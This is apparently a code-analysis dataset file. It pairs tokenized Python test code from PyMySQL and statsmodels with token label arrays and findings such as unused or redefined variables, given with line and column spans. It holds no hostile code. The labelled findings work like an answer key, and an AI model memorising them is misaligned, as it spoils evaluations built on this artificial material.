"objects_", "._", "filter_", "(_", "data\\u", "\\u", "in_", "=_", "[_", "s_", ",_", "s1_", ",_", "s2_", "]_", ")_", ",_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "m", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "lambda_", "m_", ":_", "m_", "._", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Type", "Error_", ",_", "lambda_", ":_", "My", "Model_", "._", "objects_", "._", "filter_", "(_", "data\\u", "\\u", "lt_", "=_", "s_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Serializa", "tion", " ", "works", ",", " ", "too", "._", "\\u\\u\\uNL\\u\\u\\u_", "stream_", "=_", "serializers_", "._", "serialize_", "(_", "\"", "json", "\"_", ",_", "My", "Model_", "._", "objects_", "._", "all_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "stream_", ",_", "'[{", "\"", "pk", "\":", " ", "%", "d", ",", " ", "\"", "model", "\":", " ", "\"", "field", "\\u", "subclassing", ".", "mym", "odel", "\",", " ", "\"", "fields", "\":", " ", "{", "\"", "data", "\":", " ", "\"", "1", "2", "\",", " ", "\"", "name", "\":", " ", "\"", "m", "\"}}", "]'_", "%_", "m1_", "._", "pk_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "obj_", "=_", "list_", "(_", "serializers_", "._", "deserialize_", "(_", "\"", "json", "\"_", ",_", "stream_", ")_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "obj_", "._", "object_", ",_", "m_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Test", " ", "retrie", "ving", " ", "custom", " ", "field", " ", "data_", "\\u\\u\\uNL\\u\\u\\u_", "m_", "._", "delete_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "m1_", "=_", "My", "Model_", "._", "objects_", "._", "create_", "(_", "name_", "=_", "\"", "1", "\"_", ",_", "data_", "=_", "Small", "_", "(_", "1_", ",_", "2_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m2_", "=_", "My", "Model_", "._", "objects_", "._", "create_", "(_", "name_", "=_", "\"", "2", "\"_", ",_", "data_", "=_", "Small", "_", "(_", "2_", ",_", "3_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Query", "set", "Equal_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "My", "Model_", "._", "objects_", "._", "all_", "(_", ")_", ",_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "1", "2", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "23", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "lambda_", "m_", ":_", "str_", "(_", "m_", "._", "data_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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2, 2, 2, 2 ]
Unused local variable
NikolayRag/typeTodo/PyMySQL/pymysql/tests/test_connection.py
[ { "content": " def test_utf8mb4(self):\n \"\"\"This test requires MySQL >= 5.5\"\"\"\n arg = self.databases[0].copy()\n arg['charset'] = 'utf8mb4'\n conn = pymysql.connect(**arg)", "metadata": "root.TestConnection.test_utf8mb4", "header": "['class', 'TestConnection', '(', 'base', '.', 'PyMySQLTestCase', ')', ':', '___EOS___']", "index": 10 }, { "content": " @unittest2.skipUnless(sys.version_info[0:2] >= (3,2), \"required py-3.2\")\n def test_no_delay_warning(self):\n current_db = self.databases[0].copy()\n current_db['no_delay'] = True\n with self.assertWarns(DeprecationWarning) as cm:\n conn = pymysql.connect(**current_db)", "metadata": "root.TestConnection.test_no_delay_warning", "header": "['class', 'TestConnection', '(', 'base', '.', 'PyMySQLTestCase', ')', ':', '___EOS___']", "index": 132 }, { "content": " def test_escape_builtin_encoders(self):\n con = self.connections[0]\n cur = con.cursor()\n\n val = datetime.datetime(2012, 3, 4, 5, 6)\n self.assertEqual(con.escape(val, con.encoders), \"'2012-03-04 05:06:00'\")", "metadata": "root.TestEscape.test_escape_builtin_encoders", "header": "['class', 'TestEscape', '(', 'base', '.', 'PyMySQLTestCase', ')', ':', '___EOS___']", "index": 159 }, { "content": " def test_escape_custom_object(self):\n con = self.connections[0]\n cur = con.cursor()\n\n mapping = {Foo: escape_foo}\n self.assertEqual(con.escape(Foo(), mapping), \"bar\")", "metadata": "root.TestEscape.test_escape_custom_object", "header": "['class', 'TestEscape', '(', 'base', '.', 'PyMySQLTestCase', ')', ':', '___EOS___']", "index": 166 }, { "content": " def test_escape_fallback_encoder(self):\n con = self.connections[0]\n cur = con.cursor()\n\n class Custom(str):\n pass\n\n mapping = {pymysql.text_type: pymysql.escape_string}\n self.assertEqual(con.escape(Custom('foobar'), mapping), \"'foobar'\")", "metadata": "root.TestEscape.test_escape_fallback_encoder", "header": "['class', 'TestEscape', '(', 'base', '.', 'PyMySQLTestCase', ')', ':', '___EOS___']", "index": 173 }, { "content": " def test_escape_no_default(self):\n con = self.connections[0]\n cur = con.cursor()\n\n self.assertRaises(TypeError, con.escape, 42, {})", "metadata": "root.TestEscape.test_escape_no_default", "header": "['class', 'TestEscape', '(', 'base', '.', 'PyMySQLTestCase', ')', ':', '___EOS___']", "index": 183 }, { "content": " def test_escape_dict_value(self):\n con = self.connections[0]\n cur = con.cursor()\n\n mapping = con.encoders.copy()\n mapping[Foo] = escape_foo\n self.assertEqual(con.escape({'foo': Foo()}, mapping), {'foo': \"bar\"})", "metadata": "root.TestEscape.test_escape_dict_value", "header": "['class', 'TestEscape', '(', 'base', '.', 'PyMySQLTestCase', ')', ':', '___EOS___']", "index": 189 }, { "content": " def test_escape_list_item(self):\n con = self.connections[0]\n cur = con.cursor()\n\n mapping = con.encoders.copy()\n mapping[Foo] = escape_foo\n self.assertEqual(con.escape([Foo()], mapping), \"(bar)\")", "metadata": "root.TestEscape.test_escape_list_item", "header": "['class', 'TestEscape', '(', 'base', '.', 'PyMySQLTestCase', ')', ':', '___EOS___']", "index": 197 } ]
[ { "span": "conn ", "start_line": 14, "start_column": 8, "end_line": 14, "end_column": 12 }, { "span": "conn ", "start_line": 137, "start_column": 12, "end_line": 137, "end_column": 16 }, { "span": "cur ", "start_line": 161, "start_column": 8, "end_line": 161, "end_column": 11 }, { "span": "cur ", "start_line": 168, "start_column": 8, "end_line": 168, "end_column": 11 }, { "span": "cur ", "start_line": 175, "start_column": 8, "end_line": 175, "end_column": 11 }, { "span": "cur ", "start_line": 185, "start_column": 8, "end_line": 185, "end_column": 11 }, { "span": "cur ", "start_line": 191, "start_column": 8, "end_line": 191, "end_column": 11 }, { "span": "cur ", "start_line": 199, "start_column": 8, "end_line": 199, "end_column": 11 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Test", "Connection_", "(_", "base_", "._", "Py", "My", "SQL", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test\\u", "utf", "8", "mb", "4_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Thi", "s", " ", "test", " ", "require", "s", " ", "My", "SQL", " ", ">=", " ", "5.5", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "arg_", "=_", "self_", "._", "databases_", "[_", "0_", "]_", "._", "copy_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "arg_", "[_", "'", "charset", "'_", "]_", "=_", "'", "utf", "8", "mb", "4", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "conn_", "=_", "pymysql", "_", "._", "connect_", "(_", "**_", "arg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Connection_", "(_", "base_", "._", "Py", "My", "SQL", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "unittest2_", "._", "skip", "Unless_", "(_", "sys_", "._", "version", "\\u", "info_", "[_", "0_", ":_", "2_", "]_", ">=_", "(_", "3_", ",_", "2_", ")_", ",_", "\"", "require", "d", " ", "py", "-", "3.2", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "test\\u", "no", "\\u", "dela", "y", "\\u", "warning_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "current", "\\u", "db_", "=_", "self_", "._", "databases_", "[_", "0_", "]_", "._", "copy_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "current", "\\u", "db_", "[_", "'", "no", "\\u", "dela", "y", "'_", "]_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "self_", "._", "assert", "Warn", "s_", "(_", "Dep", "reca", "tion", "Warning_", ")_", "as_", "cm_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "conn_", "=_", "pymysql", "_", "._", "connect_", "(_", "**_", "current", "\\u", "db_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Escape_", "(_", "base_", "._", "Py", "My", "SQL", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "escape", "\\u", "bui", "lti", "n", "\\u", "encoders", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "con_", "=_", "self_", "._", "connections_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cur_", "=_", "con_", "._", "cursor_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "val_", "=_", "datetime_", "._", "datetime_", "(_", "2012_", ",_", "3_", ",_", "4_", ",_", "5_", ",_", "6_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "con_", "._", "escape_", "(_", "val_", ",_", "con_", "._", "encoders", "_", ")_", ",_", "\"'", "2012", "-0", "3", "-0", "4", " ", "05", ":", "0", "6", ":", "00", "'\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Escape_", "(_", "base_", "._", "Py", "My", "SQL", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "escape", "\\u", "custom", "\\u", "object_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "con_", "=_", "self_", "._", "connections_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cur_", "=_", "con_", "._", "cursor_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "mapping_", "=_", "{_", "Foo_", ":_", "escape", "\\u", "foo_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "con_", "._", "escape_", "(_", "Foo_", "(_", ")_", ",_", "mapping_", ")_", ",_", "\"", "bar", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Escape_", "(_", "base_", "._", "Py", "My", "SQL", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "escape", "\\u", "fall", "back", "\\u", "encoder_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "con_", "=_", "self_", "._", "connections_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cur_", "=_", "con_", "._", "cursor_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Custom", "_", "(_", "str_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "mapping_", "=_", "{_", "pymysql", "_", "._", "text", "\\u", "type_", ":_", "pymysql", "_", "._", "escape", "\\u", "string_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "con_", "._", "escape_", "(_", "Custom", "_", "(_", "'", "fooba", "r", "'_", ")_", ",_", "mapping_", ")_", ",_", "\"'", "fooba", "r", "'\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Escape_", "(_", "base_", "._", "Py", "My", "SQL", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "escape", "\\u", "no", "\\u", "default_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "con_", "=_", "self_", "._", "connections_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cur_", "=_", "con_", "._", "cursor_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Raises_", "(_", "Type", "Error_", ",_", "con_", "._", "escape_", ",_", "42_", ",_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Escape_", "(_", "base_", "._", "Py", "My", "SQL", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "escape", "\\u", "dict", "\\u", "value_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "con_", "=_", "self_", "._", "connections_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cur_", "=_", "con_", "._", "cursor_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "mapping_", "=_", "con_", "._", "encoders", "_", "._", "copy_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mapping_", "[_", "Foo_", "]_", "=_", "escape", "\\u", "foo_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "con_", "._", "escape_", "(_", "{_", "'", "foo", "'_", ":_", "Foo_", "(_", ")_", "}_", ",_", "mapping_", ")_", ",_", "{_", "'", "foo", "'_", ":_", "\"", "bar", "\"_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Escape_", "(_", "base_", "._", "Py", "My", "SQL", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "escape", "\\u", "list", "\\u", "item_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "con_", "=_", "self_", "._", "connections_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cur_", "=_", "con_", "._", "cursor_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "mapping_", "=_", "con_", "._", "encoders", "_", "._", "copy_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "mapping_", "[_", "Foo_", "]_", "=_", "escape", "\\u", "foo_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "con_", "._", "escape_", "(_", "[_", "Foo_", "(_", ")_", "]_", ",_", "mapping_", ")_", ",_", "\"(", "bar", ")\"_", ")_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Variable defined multiple times
statsmodels/statsmodels/statsmodels/tsa/statespace/tests/test_dynamic_factor.py
[ { "content": " def test_summary(self):\n summary = self.results.summary()\n tables = [str(table) for table in summary.tables]\n params = self.true['params']\n\n # Make sure we have the right number of tables\n assert_equal(len(tables), 2 + self.model.k_endog + self.model.k_factors + 1)\n\n # Check the model overview table\n assert_equal(re.search(r'Model:.*DynamicFactor\\(factors=2, order=1\\)', tables[0]) is None, False)\n\n # For each endogenous variable, check the output\n for i in range(self.model.k_endog):\n offset_loading = self.model.k_factors * i\n offset_var = self.model.k_factors * self.model.k_endog\n table = tables[i + 2]\n\n # -> Make sure we have the right table / table name\n name = self.model.endog_names[i]\n assert_equal(re.search('Results for equation %s' % name, table) is None, False)\n\n # -> Make sure it's the right size\n assert_equal(len(table.split('\\n')), 7)\n\n # -> Check that we have the right coefficients\n assert_equal(re.search('loading.f1 +' + forg(params[offset_loading + 0], prec=4), table) is None, False)\n assert_equal(re.search('loading.f2 +' + forg(params[offset_loading + 1], prec=4), table) is None, False)\n\n # For each factor, check the output\n for i in range(self.model.k_factors):\n offset = self.model.k_endog * (self.model.k_factors + 1) + i * self.model.k_factors\n table = tables[self.model.k_endog + i + 2]\n\n # -> Make sure we have the right table / table name\n name = self.model.endog_names[i]\n assert_equal(re.search('Results for factor equation f%d' % (i+1), table) is None, False)\n\n # -> Make sure it's the right size\n assert_equal(len(table.split('\\n')), 7)\n\n # -> Check that we have the right coefficients\n assert_equal(re.search('L1.f1 +' + forg(params[offset + 0], prec=4), table) is None, False)\n assert_equal(re.search('L1.f2 +' + forg(params[offset + 1], prec=4), table) is None, False)\n\n # Check the Error covariance matrix output\n table = tables[2 + self.model.k_endog + self.model.k_factors]\n\n # -> Make sure we have the right table / table name\n name = self.model.endog_names[i]\n assert_equal(re.search('Error covariance matrix', table) is None, False)\n\n # -> Make sure it's the right size\n assert_equal(len(table.split('\\n')), 8)\n\n # -> Check that we have the right coefficients\n offset = self.model.k_endog * self.model.k_factors\n for i in range(self.model.k_endog):\n assert_equal(re.search('sigma2.%s +%s' % (self.model.endog_names[i], forg(params[offset + i], prec=4)), table) is None, False)", "metadata": "root.TestDynamicFactor2.test_summary", "header": "['class', 'TestDynamicFactor2', '(', 'CheckDynamicFactor', ')', ':', '___EOS___']", "index": 187 }, { "content": " def test_summary(self):\n summary = self.results.summary()\n tables = [str(table) for table in summary.tables]\n params = self.true['params']\n\n # Make sure we have the right number of tables\n assert_equal(len(tables), 2 + self.model.k_endog + self.model.k_factors + 1)\n\n # Check the model overview table\n assert_equal(re.search(r'Model:.*DynamicFactor\\(factors=1, order=1\\)', tables[0]) is None, False)\n assert_equal(re.search(r'.*2 regressors', tables[0]) is None, False)\n\n # For each endogenous variable, check the output\n for i in range(self.model.k_endog):\n offset_loading = self.model.k_factors * i\n offset_exog = self.model.k_factors * self.model.k_endog\n table = tables[i + 2]\n\n # -> Make sure we have the right table / table name\n name = self.model.endog_names[i]\n assert_equal(re.search('Results for equation %s' % name, table) is None, False)\n\n # -> Make sure it's the right size\n assert_equal(len(table.split('\\n')), 8)\n\n # -> Check that we have the right coefficients\n assert_equal(re.search('loading.f1 +' + forg(params[offset_loading + 0], prec=4), table) is None, False)\n assert_equal(re.search('beta.const +' + forg(params[offset_exog + i*2 + 0], prec=4), table) is None, False)\n assert_equal(re.search('beta.x1 +' + forg(params[offset_exog + i*2 + 1], prec=4), table) is None, False)\n\n # For each factor, check the output\n for i in range(self.model.k_factors):\n offset = self.model.k_endog * (self.model.k_factors + 3) + i * self.model.k_factors\n table = tables[self.model.k_endog + i + 2]\n\n # -> Make sure we have the right table / table name\n name = self.model.endog_names[i]\n assert_equal(re.search('Results for factor equation f%d' % (i+1), table) is None, False)\n\n # -> Make sure it's the right size\n assert_equal(len(table.split('\\n')), 6)\n\n # -> Check that we have the right coefficients\n assert_equal(re.search('L1.f1 +' + forg(params[offset + 0], prec=4), table) is None, False)\n\n # Check the Error covariance matrix output\n table = tables[2 + self.model.k_endog + self.model.k_factors]\n\n # -> Make sure we have the right table / table name\n name = self.model.endog_names[i]\n assert_equal(re.search('Error covariance matrix', table) is None, False)\n\n # -> Make sure it's the right size\n assert_equal(len(table.split('\\n')), 8)\n\n # -> Check that we have the right coefficients\n offset = self.model.k_endog * (self.model.k_factors + 2)\n for i in range(self.model.k_endog):\n assert_equal(re.search('sigma2.%s +%s' % (self.model.endog_names[i], forg(params[offset + i], prec=4)), table) is None, False)", "metadata": "root.TestDynamicFactor_exog2.test_summary", "header": "['class', 'TestDynamicFactor_exog2', '(', 'CheckDynamicFactor', ')', ':', '___EOS___']", "index": 297 }, { "content": " def test_summary(self):\n summary = self.results.summary()\n tables = [str(table) for table in summary.tables]\n params = self.true['params']\n\n # Make sure we have the right number of tables\n assert_equal(len(tables), 2 + self.model.k_endog + self.model.k_factors + self.model.k_endog + 1)\n\n # Check the model overview table\n assert_equal(re.search(r'Model:.*DynamicFactor\\(factors=1, order=1\\)', tables[0]) is None, False)\n assert_equal(re.search(r'.*VAR\\(1\\) errors', tables[0]) is None, False)\n\n # For each endogenous variable, check the output\n for i in range(self.model.k_endog):\n offset_loading = self.model.k_factors * i\n table = tables[i + 2]\n\n # -> Make sure we have the right table / table name\n name = self.model.endog_names[i]\n assert_equal(re.search('Results for equation %s' % name, table) is None, False)\n\n # -> Make sure it's the right size\n assert_equal(len(table.split('\\n')), 6)\n\n # -> Check that we have the right coefficients\n assert_equal(re.search('loading.f1 +' + forg(params[offset_loading + 0], prec=4), table) is None, False)\n\n # For each factor, check the output\n for i in range(self.model.k_factors):\n offset = self.model.k_endog * self.model.k_factors + 6 + i * self.model.k_factors\n table = tables[2 + self.model.k_endog + i]\n\n # -> Make sure we have the right table / table name\n name = self.model.endog_names[i]\n assert_equal(re.search('Results for factor equation f%d' % (i+1), table) is None, False)\n\n # -> Make sure it's the right size\n assert_equal(len(table.split('\\n')), 6)\n\n # -> Check that we have the right coefficients\n assert_equal(re.search('L1.f1 +' + forg(params[offset + 0], prec=4), table) is None, False)\n\n # For each error equation, check the output\n for i in range(self.model.k_endog):\n offset = self.model.k_endog * (self.model.k_factors + i) + 6 + self.model.k_factors\n table = tables[2 + self.model.k_endog + self.model.k_factors + i]\n\n # -> Make sure we have the right table / table name\n name = self.model.endog_names[i]\n assert_equal(re.search('Results for error equation e\\(%s\\)' % name, table) is None, False)\n\n # -> Make sure it's the right size\n assert_equal(len(table.split('\\n')), 8)\n\n # -> Check that we have the right coefficients\n for j in range(self.model.k_endog):\n name = self.model.endog_names[j]\n assert_equal(re.search('L1.e\\(%s\\) +%s' % (name, forg(params[offset + j], prec=4)), table) is None, False)\n\n # Check the Error covariance matrix output\n table = tables[2 + self.model.k_endog + self.model.k_factors + self.model.k_endog]\n\n # -> Make sure we have the right table / table name\n name = self.model.endog_names[i]\n assert_equal(re.search('Error covariance matrix', table) is None, False)\n\n # -> Make sure it's the right size\n assert_equal(len(table.split('\\n')), 11)\n\n # -> Check that we have the right coefficients\n offset = self.model.k_endog * self.model.k_factors\n assert_equal(re.search('sqrt.var.dln_inv +' + forg(params[offset + 0], prec=4), table) is None, False)\n assert_equal(re.search('sqrt.cov.dln_inv.dln_inc +' + forg(params[offset + 1], prec=4), table) is None, False)\n assert_equal(re.search('sqrt.var.dln_inc +' + forg(params[offset + 2], prec=4), table) is None, False)\n assert_equal(re.search('sqrt.cov.dln_inv.dln_consump +' + forg(params[offset + 3], prec=4), table) is None, False)\n assert_equal(re.search('sqrt.cov.dln_inc.dln_consump +' + forg(params[offset + 4], prec=4), table) is None, False)\n assert_equal(re.search('sqrt.var.dln_consump +' + forg(params[offset + 5], prec=4), table) is None, False)", "metadata": "root.TestDynamicFactor_general_errors.test_summary", "header": "['class', 'TestDynamicFactor_general_errors', '(', 'CheckDynamicFactor', ')', ':', '___EOS___']", "index": 398 } ]
[ { "span": "name ", "start_line": 221, "start_column": 12, "end_line": 221, "end_column": 16 }, { "span": "name ", "start_line": 333, "start_column": 12, "end_line": 333, "end_column": 16 }, { "span": "name ", "start_line": 431, "start_column": 12, "end_line": 431, "end_column": 16 } ]
[ { "span": "name ", "start_line": 235, "start_column": 8, "end_line": 235, "end_column": 12 }, { "span": "name ", "start_line": 346, "start_column": 8, "end_line": 346, "end_column": 12 }, { "span": "name ", "start_line": 446, "start_column": 12, "end_line": 446, "end_column": 16 }, { "span": "name ", "start_line": 461, "start_column": 8, "end_line": 461, "end_column": 12 } ]
1
true
[ "[CLS]_", "Variable_", "defined_", "multiple_", "times_", "[SEP]_", "class_", "Test", "Dynamic", "Factor", "2_", "(_", "Check", "Dynamic", "Factor_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "summary_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "summary_", "=_", "self_", "._", "results_", "._", "summary_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tables_", "=_", "[_", "str_", "(_", "table_", ")_", "for_", "table_", "in_", "summary_", "._", "tables_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "params_", "=_", "self_", "._", "true_", "[_", "'", "params", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Make", " ", "sure", " ", "we", " ", "have", " ", "the", " ", "right", " ", "number", " ", "of", " ", "tables_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "len_", "(_", "tables_", ")_", ",_", "2_", "+_", "self_", "._", "model_", "._", "k", "\\u", "endo", "g_", "+_", "self_", "._", "model_", "._", "k", "\\u", "factors_", "+_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Check", " ", "the", " ", "model", " ", "over", "view", " ", "table_", "\\u\\u\\uNL\\u\\u\\u_", "assert", "\\u", "equal_", "(_", "re_", "._", "search_", "(_", "r", "'", "Model", ":.", "*", "Dynamic", "Factor", "\\\\(", "factor", "s", "=", "2", ",", " ", "order", "=", "1", "\\\\)", "'_", ",_", "tables_", "[_", "0_", "]_", ")_", "is_", "None_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "For", " ", "each", " ", "endo", "geno", "us", " ", "variab", "le", ",", " ", "check", " ", "the", " ", "output_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", "in_", "range_", "(_", "self_", "._", "model_", "._", "k", "\\u", "endo", "g_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "offset", "\\u", "loading_", "=_", "self_", "._", "model_", "._", "k", "\\u", "factors_", "*_", "i_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "offset", "\\u", "var_", "=_", "self_", "._", "model_", "._", "k", "\\u", "factors_", "*_", "self_", "._", "model_", "._", "k", "\\u", "endo", "g_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "table_", "=_", "tables_", "[_", "i_", "+_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "->", " ", "Make", " ", "sure", " ", "we", " ", "have", " ", "the", " ", "right", " ", "table", " ", "/", " ", "table", " ", "name_", "\\u\\u\\uNL\\u\\u\\u_", "name_", "=_", "self_", "._", "model_", "._", "endo", "g", "\\u", "names_", "[_", "i_", "]_", 